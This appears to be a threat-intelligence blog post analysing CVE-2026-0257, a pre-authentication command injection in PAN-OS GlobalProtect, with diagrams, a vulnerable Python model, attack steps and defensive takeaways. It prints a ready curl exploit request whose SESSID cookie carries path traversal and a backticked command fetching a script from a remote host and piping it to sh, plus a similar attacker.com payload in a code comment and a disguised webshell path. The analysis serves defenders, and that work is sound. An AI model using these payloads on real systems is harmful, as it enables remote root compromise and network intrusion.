PAN-OS GlobalProtect: Deconstructing In-the-Wild Pre-Auth RCE

Overview & Threat Landscape#

Next-Generation Firewalls (NGFW) running Palo Alto Networks PAN-OS represent the primary defensive perimeter for global enterprises, protecting corporate headquarters, cloud datacenters, and remote access VPN tunnels. Because GlobalProtect gateway portals must be exposed directly to the public internet on WAN interfaces (port 443), vulnerabilities in its pre-authentication web services alter the enterprise attack calculus overnight.

In 2026, threat actors weaponized CVE-2026-0257—a critical pre-authentication command injection vulnerability in PAN-OS GlobalProtect—as a zero-day initial access vector across government, defense, and technology organizations. Added to the CISA Known Exploited Vulnerabilities (KEV) catalog with emergency response directives, this vulnerability allows unauthenticated remote adversaries to bypass all authentication controls, escape network perimeter inspection, and execute arbitrary operating system commands with root privileges.

[!WARNING] Because GlobalProtect operates as a trusted border gateway, compromise grants adversaries direct, unmonitored ingress into internal networks. Post-exploitation telemetry shows threat actors immediately disabling local host logging, installing memory-resident webshells, and pivoting into Active Directory domain infrastructure.

---

Vulnerability & Attack Root-Cause Analysis#

The vulnerability is rooted in an unauthenticated command injection defect within the GlobalProtect gateway session handling and device telemetry subsystem.

When an external user interacts with the GlobalProtect portal (such as /global-protect/login.espor/ssl-vpn/hipreport.esp), the ingress web server receives an HTTP POST request containing user-supplied session identification cookies (e.g., SESSID). In vulnerable PAN-OS versions:

1. Path Traversal in Session Cookie: The web server fails to sanitize the SESSID cookie value against directory traversal sequences (../). The service creates a temporary session state file on disk using the unsanitized string as part of the destination filename.
2. Telemetry Dispatch Ingestion: A background system daemon running as root periodically inspects this directory or ingests session tokens into shell commands (such as disk maintenance utilities or telemetry parsers).
3. Command Injection: By embedding shell metacharacters ($(...) or backticks) inside the traversal path, the attacker tricks the privileged daemon into executing injected command strings under root context when processing the session file.

sequenceDiagram
    autonumber
    participant Attacker as Unauthenticated Adversary (WAN)
    participant Nginx as GlobalProtect Web Ingress (Port 443)
    participant FileSys as Appliance Storage (/var/appweb/sslvpndocs)
    participant Daemon as Privileged Cron / Telemetry Worker (Root)
    participant Shell as Appliance OS Kernel (Root Shell)

    Attacker->>Nginx: Submit crafted HTTP POST with SESSID=../../$(cmd)
    Note over Attacker,Nginx: Request sent to public GlobalProtect endpoint without credentials
    Nginx->>FileSys: Write empty session tracker file with injected filename
    Note over Nginx,FileSys: Path traversal escapes session jail into watched directory
    FileSys-->>Daemon: Cron daemon enumerates directory for telemetry processing
    Daemon->>Shell: Ingest filename into shell evaluation string
    Shell-->>Attacker: Injected command executes with full root privileges
    Note over Attacker,Shell: Reverse shell established or web shell dropped

The underlying code defect mirrors an unescaped shell string formatting call within the underlying C/Python daemon:

PYTHON

## Illustrative Model of the Telemetry Filename Dispatch Failure
## Demonstrates vulnerable command execution during file processing.

import os
import subprocess

def process_session_file(session_filename):
    # VULNERABILITY (CVE-2026-0257): Filename from SESSID cookie is interpolated directly
    # An attacker providing '../../opt/panlogs/tmp/$(curl${IFS}attacker.com|sh)' triggers RCE
    command = f"/usr/local/bin/pan_telemetry_digest --input {session_filename}"
    
    # Insecure execution via shell dispatcher
    subprocess.call(command, shell=True)

---

Exploit Architecture & Perimeter Traversal#

The diagram below details how threat actors transition from an unauthenticated external HTTP probe to full internal network pivoting:

flowchart TD
    subgraph ExternalPerimeter [Internet Threat Actor]
        AttackerClient["Remote Adversary (WAN)"]
        ExploitPayload["Crafted SESSID Traversal + Shell Injection"]
    end

    subgraph PANOSGateway [PAN-OS GlobalProtect Gateway]
        IngressPort["Ingress Interface: Port 443"]
        FileDrop["Arbitrary File Write: /opt/panlogs/tmp/"]
        PrivilegedWorker["Root Telemetry Daemon: Command Evaluation"]
        RootAccess["Root Execution & Process Spawning"]
    end

    subgraph InternalTarget [Enterprise Internal Network]
        ReverseC2["Outbound C2 Tunnel (HTTPS / Port 443)"]
        ADPivot["Active Directory Kerberos DCSync"]
        CloudKeys["Extracting Cloud Credentials & Core Vaults"]
    end

    AttackerClient --> ExploitPayload
    ExploitPayload --> IngressPort
    IngressPort --> FileDrop
    FileDrop --> PrivilegedWorker
    PrivilegedWorker --> RootAccess
    RootAccess --> ReverseC2
    RootAccess --> ADPivot
    RootAccess --> CloudKeys

---

Attack Path Step-by-Step#

Consider how threat actors stage and execute this attack against internet-facing PAN-OS appliances.

Step 1: Probing the GlobalProtect Portal#

The attacker identifies an active GlobalProtect portal by requesting the portal login portal and checking headers:

# Fingerprinting GlobalProtect portal
curl -s -I https://vpn.target-corp.local/global-protect/login.esp | grep -i "Server"
## Output: Server: PanWebServer/ - confirms PAN-OS appliance

Step 2: Injecting the Malicious Session Cookie#

The adversary transmits an unauthenticated HTTP POST request containing directory traversal and command injection primitives inside the SESSID cookie:

# Dispatching the exploit payload via curl
curl -k -X POST 'https://vpn.target-corp.local/ssl-vpn/hipreport.esp' \
  -H 'Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/`curl${IFS}-s${IFS}http://198.51.100.42/payload.sh|sh`' \
  -d 'test=1'

Step 3: Persistence via Webshell Staging#

Once the command executes as root, the attacker drops a lightweight, authenticated backdoor directly into the web server document root:

# Verifying dropped persistence artifact on disk
cat /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css.php
## Executes incoming parameters passed via obfuscated request headers

[!CAUTION] Because PAN-OS runs on a specialized Linux-based appliance OS, forensic artifacts inside volatile directories (/tmp, /var/tmp) are frequently overwritten during standard logging rotations. Defenders must immediately collect disk images and memory captures before rebooting.

---

Fast Cyber Defense Morning Takeaways#

1. Edge Appliances Are Zero-Trust Failures: Placing implicit trust in edge gateways because they run vendor-hardened operating systems is a flawed posture. Gateways must be isolated from management networks.
2. Session Cookie Sanitization Is Non-Negotiable: User-supplied cookies and headers must never be concatenated into file paths or system commands without strict alphanumeric whitelisting.
3. Disable Unused Telemetry Services: If telemetry sharing is not operational, disable optional reporting daemons to reduce local processing triggers.

Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:

• Comprehensive Sigma Rules for ingress web server logs and anomalous process spawning.
• Host YARA signatures to detect dropped webshells and reverse-shell payloads in PAN-OS file systems.
• Step-by-step Threat Hunting and IOC Verification Playbook for enterprise SOC teams.

---

Authoritative Technical References#

• Palo Alto Networks Security Advisory: CVE-2026-0257 PAN-OS Command Injection
• CISA Known Exploited Vulnerabilities (KEV) Catalog
• Palo Alto Networks Unit 42: Threat Brief on Active Exploitation of PAN-OS
• MITRE ATT&CK Technique T1190: Exploit Public-Facing Application